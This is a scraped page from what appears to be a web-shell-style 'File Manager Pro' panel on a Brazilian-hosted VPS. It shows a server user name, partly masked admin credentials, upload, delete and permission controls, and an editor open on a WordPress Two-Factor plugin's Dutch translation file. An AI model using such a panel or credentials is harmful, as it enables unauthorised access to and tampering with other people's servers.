🗂️ File Manager Pro
🖥️ Tipo de Hospedagem:
Vps
📁 Diretório Raiz:
/home
🌐 Servidor:
www.apm-abl.com
👤 Usuário:
apmablcosr
🔐 Sessão:
🔑 Credenciais:
adm_9656c5a3 / bb9c****
📍 Localização Atual:
home
Caminho completo: /home
📤 Enviar Arquivo
📁 Nova Pasta
⬆️ Voltar
🏠 Raiz
🗑️ DELETAR
📦 ZIPAR/DEZIPAR
Status
Nome
Tamanho
Modificado
Permissões
Ações
📁 a
-
03/02/2026 22:15
0755
✏️
📁 apmablcosr
-
26/01/2026 16:35
0705
✏️
🗑️
Editando: two-factor-nl_NL.po
# Translation of Plugins - Two-Factor - Stable (latest release) in Dutch # This file is distributed under the same license as the Plugins - Two-Factor - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2024-04-25 14:00:39+0000\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=n != 1;\n" "X-Generator: GlotPress/4.0.1\n" "Language: nl\n" "Project-Id-Version: Plugins - Two-Factor - Stable (latest release)\n" #: class-two-factor-core.php:695 msgid "WARNING: Your account has attempted to login without providing a valid two factor token. The last failed login occured %2$s ago. If this wasn't you, you should reset your password." msgid_plural "WARNING: Your account has attempted to login %1$s times without providing a valid two factor token. The last failed login occured %2$s ago. If this wasn't you, you should reset your password." msgstr[0] "WAARSCHUWING: je account heeft geprobeerd in te loggen zonder een geldig tweefactor-token te verstrekken. De laatste mislukte aanmelding vond plaats %2$s geleden. Als jij dit niet was, moet je jouw wachtwoord opnieuw instellen." msgstr[1] "WAARSCHUWING: je account heeft %1$s keren geprobeerd in te loggen zonder een geldig tweefactor-token te verstrekken. De laatste mislukte aanmelding vond plaats %2$s geleden. Als jij dit niet was, moet je jouw wachtwoord opnieuw instellen." #: class-two-factor-core.php:745 msgid "Your password was reset because of too many failed Two Factor attempts. You will need to <a href=\"%s\">create a new password</a> to regain access. Please check your email for more information." msgstr "Je wachtwoord is opnieuw ingesteld vanwege te veel mislukte twee factor pogingen. Je moet <a href=\"%s\">een nieuw wachtwoord maken</a> om weer toegang te krijgen. Controleer je e-mail voor meer informatie." #: class-two-factor-core.php:1475 msgid "ERROR: Too many invalid verification codes, you can try again in %s. This limit protects your account against automated attacks." msgstr "FOUT: te veel ongeldige verificatiecodes, je kan het over %s opnieuw proberen. Deze limiet beschermt je account tegen geautomatiseerde aanvallen." #: class-two-factor-core.php:1644 msgid "There have been too many failed two-factor authentication attempts, which often indicates that the password has been compromised. The password has been reset in order to protect the account." msgstr "Er zijn te veel mislukte pogingen tot authenticatie met twee factoren geweest, wat er vaak op wijst dat het wachtwoord gecompromitteerd is. Het wachtwoord is opnieuw ingesteld om het account te beschermen." #: class-two-factor-core.php:1645 msgid "If you are the owner of this account, please check your email for instructions on regaining access." msgstr "Als je de eigenaar van deze account bent, controleer dan je e-mail voor instructies om weer toegang te krijgen." #: class-two-factor-core.php:1649 msgid "Password Reset" msgstr "Wachtwoord opnieuw instellen" #: providers/class-two-factor-totp.php:190 msgid "Unable to enable TOTP provider for this user." msgstr "Kan TOTP provider niet inschakelen voor deze gebruiker." #. translators: Example auth code. #: providers/class-two-factor-totp.php:341 msgid "eg. %s" msgstr "bijv. %s" #: includes/function.login-header.php:130 msgid "Usage of the title attribute on the login logo is not recommended for accessibility reasons. Use the link text instead." msgstr "Het gebruik van het title-attribuut op het login logo wordt om toegankelijkheidsredenen niet aanbevolen. Gebruik in plaats daarvan de linktekst." #. translators: %s: Login screen title. #: includes/function.login-header.php:57 msgid "Recovery Mode — %s" msgstr "Herstelmodus — %s" #. translators: %s: Site title. #: includes/function.login-footer.php:29 msgctxt "site" msgid "← Go to %s" msgstr "← Ga naar %s" #: providers/class-two-factor-fido-u2f.php:104 msgctxt "Provider Label" msgid "FIDO U2F Security Keys" msgstr "FIDO U2F Security Keys" #. Description of the plugin #: two-factor.php msgid "Two-Factor Authentication using time-based one-time passwords, Universal 2nd Factor (FIDO U2F), email and backup verification codes." msgstr "Twee-factor authenticatie met behulp van op tijd gebaseerde eenmalige wachtwoorden, Universal 2nd Factor (FIDO U2F), e-mail en back-up verificatiecodes." #: providers/class-two-factor-fido-u2f-admin.php:111 msgid "FIDO U2F appears to be not supported by your web browser. Try using Google Chrome or Firefox." msgstr "FIDO U2F lijkt niet te worden ondersteund door je web browser. Probeer het eens met Google Chrome of Firefox." #. Author URI of the plugin #: two-factor.php msgid "https://github.com/wordpress/two-factor/graphs/contributors" msgstr "https://github.com/wordpress/two-factor/graphs/contributors" #. Author of the plugin #: two-factor.php msgid "Plugin Contributors" msgstr "Plugin Contributors" #: class-two-factor-core.php:603 msgid "Error: API login for user disabled." msgstr "Fout: API login voor gebruiker uitgeschakeld." #. Plugin URI of the plugin #: two-factor.php msgid "https://wordpress.org/plugins/two-factor/" msgstr "https://wordpress.org/plugins/two-factor/" #: providers/class-two-factor-totp.php:178 msgid "Invalid Two Factor Authentication secret key." msgstr "Ongeldige geheime sleutel voor twee-factor authenticatie." #: providers/class-two-factor-totp.php:182 msgid "Invalid Two Factor Authentication code." msgstr "Ongeldige twee factor authenticatie code." #. translators: Login screen title. 1: Login screen name, 2: Network or site #. name. #: includes/function.login-header.php:53 msgid "%1$s ‹ %2$s — WordPress" msgstr "%1$s ‹ %2$s — WordPress" #: providers/class-two-factor-email.php:271 msgid "Resend Code" msgstr "Code opnieuw verzenden" #: class-two-factor-core.php:675 class-two-factor-core.php:1276 msgid "Failed to create a login nonce." msgstr "Het aanmaken van een login nonce is mislukt." #: providers/class-two-factor-fido-u2f.php:237 msgid "Requires an HTTPS connection. Configure your security keys in the \"Security Keys\" section below." msgstr "Een HTTPS verbinding is vereist. Configureer je beveiligingssleutels in de onderstaande \"Beveiligingssleutels\" sectie." #: providers/class-two-factor-fido-u2f.php:154 msgid "U2F requires an HTTPS connection. Please use an alternative 2nd factor method." msgstr "U2F vereist een HTTPS-verbinding. Gebruik een alternatieve 2FA-methode." #: providers/class-two-factor-fido-u2f-admin.php:197 msgctxt "security key" msgid "Register New Key" msgstr "Registreer een nieuwe sleutel" #: providers/class-two-factor-fido-u2f-admin.php:190 msgid "U2F requires an HTTPS connection. You won't be able to add new security keys over HTTP." msgstr "U2F vereist een HTTPS verbinding. Je kunt geen nieuwe beveiligingssleutels toevoegen via HTTP." #: providers/class-two-factor-fido-u2f-admin.php:109 msgid "U2F request timeout reached." msgstr "Time-out van U2F aanvraag bereikt." #: providers/class-two-factor-fido-u2f-admin.php:108 msgid "U2F device ineligible." msgstr "U2F apparaat komt niet in aanmerking." #: providers/class-two-factor-fido-u2f-admin.php:107 msgid "Unsupported U2F configuration." msgstr "U2F configuratie wordt niet ondersteund." #: providers/class-two-factor-fido-u2f-admin.php:106 msgid "Bad U2F request." msgstr "Onjuiste U2F aanvraag." #: providers/class-two-factor-fido-u2f-admin.php:105 msgid "Other U2F error." msgstr "Andere U2F fout." #: providers/class-two-factor-fido-u2f-admin.php:104 msgid "Request OK." msgstr "Aanvraag OK." #: providers/class-two-factor-fido-u2f-admin.php:101 msgid "U2F request failed." msgstr "U2F aanvraag afgewezen." #. Plugin Name of the plugin #: two-factor.php msgid "Two Factor" msgstr "Two Factor" #: providers/class-two-factor-totp.php:681 msgid "Authenticate" msgstr "Authenticeren" #: providers/class-two-factor-totp.php:186 msgid "Unable to save Two Factor Authentication code. Please re-scan the QR code and enter the code provided by your application." msgstr "Two Factor Authentication code kan niet worden opgeslagen. Scan de QR code opnieuw en voer de code in die door je toepassing is verstrekt." #: providers/class-two-factor-totp.php:338 #: providers/class-two-factor-totp.php:668 msgid "Authentication Code:" msgstr "Authenticatiecode:" #: providers/class-two-factor-totp.php:289 msgid "Please scan the QR code or manually enter the key, then enter an authentication code from your app in order to complete setup." msgstr "Scan de QR-code of voer de sleutel handmatig in en voer vervolgens een authenticatiecode van je app in om de installatie te voltooien." #: providers/class-two-factor-fido-u2f.php:273 msgid "New Security Key" msgstr "Nieuwe veiligheidssleutel" #: providers/class-two-factor-fido-u2f.php:166 msgid "An error occurred while creating authentication data." msgstr "Er is een fout opgetreden bij het maken van verificatiegegevens." #: providers/class-two-factor-fido-u2f-admin.php:354 msgid "Item not updated." msgstr "Item niet geüpdatet." #: providers/class-two-factor-fido-u2f-admin.php:317 msgid "Delete" msgstr "Verwijder" #: providers/class-two-factor-fido-u2f-admin.php:300 msgid "Rename" msgstr "Hernoem" #: providers/class-two-factor-fido-u2f-admin.php:204 msgid "Your new security key registered." msgstr "Je nieuwe beveiligingssleutel geregistreerd." #: providers/class-two-factor-fido-u2f-admin.php:208 msgid "You can find FIDO U2F Security Key devices for sale from here." msgstr "Je kunt hier FIDO U2F beveiligingssleutel apparaten te koop vinden." #: providers/class-two-factor-fido-u2f-admin.php:186 msgid "Security Keys" msgstr "Beveiligingssleutels" #: providers/class-two-factor-fido-u2f-admin.php:137 msgid "Error while saving the changes." msgstr "Fout tijdens het opslaan van de wijzigingen." #: providers/class-two-factor-fido-u2f-admin.php:100 #: providers/class-two-factor-fido-u2f.php:182 msgid "Now insert (and tap) your Security Key." msgstr "Voer nu je beveiligingssleutel in (en tik erop)." #: providers/class-two-factor-fido-u2f-admin-list-table.php:148 msgid "Update" msgstr "Update" #: providers/class-two-factor-fido-u2f-admin-list-table.php:147 msgid "Cancel" msgstr "Annuleer" #: providers/class-two-factor-fido-u2f-admin-list-table.php:34 msgid "Last Used" msgstr "Laatst gebruikt" #: providers/class-two-factor-fido-u2f-admin-list-table.php:33 msgid "Added" msgstr "Toegevoegd" #. translators: %s: email address #: providers/class-two-factor-email.php:346 msgid "Authentication codes will be sent to %s." msgstr "Authenticatiecodes worden verzonden naar %s." #: providers/class-two-factor-email.php:268 msgid "Log In" msgstr "Inloggen" #: providers/class-two-factor-email.php:264 msgid "A verification code has been sent to the email address associated with your account." msgstr "Er is een verificatiecode verzonden naar het e-mailadres dat aan je account is gekoppeld." #. translators: %s: token #: providers/class-two-factor-email.php:224 msgid "Enter %s to log in." msgstr "Geef %s in om in te loggen." #. translators: %s: site name #: providers/class-two-factor-email.php:222 msgid "Your login confirmation code for %s" msgstr "Je login bevestigingscode voor %s" #: providers/class-two-factor-email.php:54 msgctxt "Provider Label" msgid "Email" msgstr "E-mail" #: providers/class-two-factor-dummy.php:48 msgid "Yup." msgstr "Yep." #: providers/class-two-factor-dummy.php:46 msgid "Are you really you?" msgstr "Ben jij het echt?" #: providers/class-two-factor-dummy.php:33 msgctxt "Provider Label" msgid "Dummy Method" msgstr "Dummy methode" #: providers/class-two-factor-backup-codes.php:336 #: providers/class-two-factor-totp.php:345 msgid "Submit" msgstr "Verzenden" #: providers/class-two-factor-email.php:266 msgid "Verification Code:" msgstr "Verificatie code:" #: providers/class-two-factor-backup-codes.php:184 msgid "Download Codes" msgstr "Codes downloaden" #: providers/class-two-factor-backup-codes.php:182 msgid "Write these down! Once you navigate away from this page, you will not be able to view these codes again." msgstr "Schrijf deze op! Als je eenmaal weg bent van deze pagina, kun je deze codes niet meer bekijken." #: includes/function.login-header.php:104 msgid "https://wordpress.org/" msgstr "https://wordpress.org/" #: providers/class-two-factor-fido-u2f-admin-list-table.php:32 #: providers/class-two-factor-fido-u2f-admin-list-table.php:125 msgid "Name" msgstr "Naam" #: class-two-factor-core.php:1743 msgid "Primary" msgstr "Primair" #: class-two-factor-core.php:1742 msgid "Enabled" msgstr "Ingeschakeld" #: class-two-factor-core.php:1736 msgid "Two-Factor Options" msgstr "Two-Factor opties" #: class-two-factor-core.php:1679 msgid "Disabled" msgstr "Uitgeschakeld" #: class-two-factor-core.php:1660 msgid "Two-Factor" msgstr "Two-Factor" #: class-two-factor-core.php:1325 msgid "You have logged in successfully." msgstr "Je bent succesvol ingelogd." #: class-two-factor-core.php:1498 msgid "ERROR: Invalid verification code." msgstr "FOUT: ongeldige verificatiecode." #: class-two-factor-core.php:776 class-two-factor-core.php:1261 #: class-two-factor-core.php:1392 class-two-factor-core.php:1453 msgid "Cheatin’ uh?" msgstr "Aan het valsspelen, hé?" #. translators: %s: version number #: class-two-factor-core.php:177 msgid "FIDO U2F is not available because you are using PHP %s. (Requires 5.3 or greater)" msgstr "FIDO U2F is niet beschikbaar omdat je PHP %s gebruikt. (Vereist 5.3 of hoger)" #: class-two-factor-core.php:1744 msgid "Type" msgstr "Type" #: includes/function.login-header.php:133 msgid "Powered by WordPress" msgstr "Aangedreven door WordPress" #. translators: %s: URL for code regeneration #: providers/class-two-factor-backup-codes.php:103 msgid "Two-Factor: You are out of recovery codes and need to <a href=\"%s\">regenerate!</a>" msgstr "Twee-factor: je bent door je herstelcodes heen en moet <a href=\"%s\">opnieuw genereren!</a>" #: providers/class-two-factor-totp.php:665 msgid "Enter the code generated by your authenticator app." msgstr "Voer de code in die door je authenticatie app is gegenereerd."
💾 Salvar
❌ Cancelar
Enviar Arquivo
Selecionar arquivo:
Enviar
Cancelar
Criar Nova Pasta
Nome da pasta:
Criar
Cancelar
Alterar Permissões
Nova permissão:
0644 (rw-r--r--)
0755 (rwxr-xr-x)
0777 (rwxrwxrwx)
0600 (rw-------)
0700 (rwx------)
0444 (r--r--r--)
💾 Salvar
Cancelar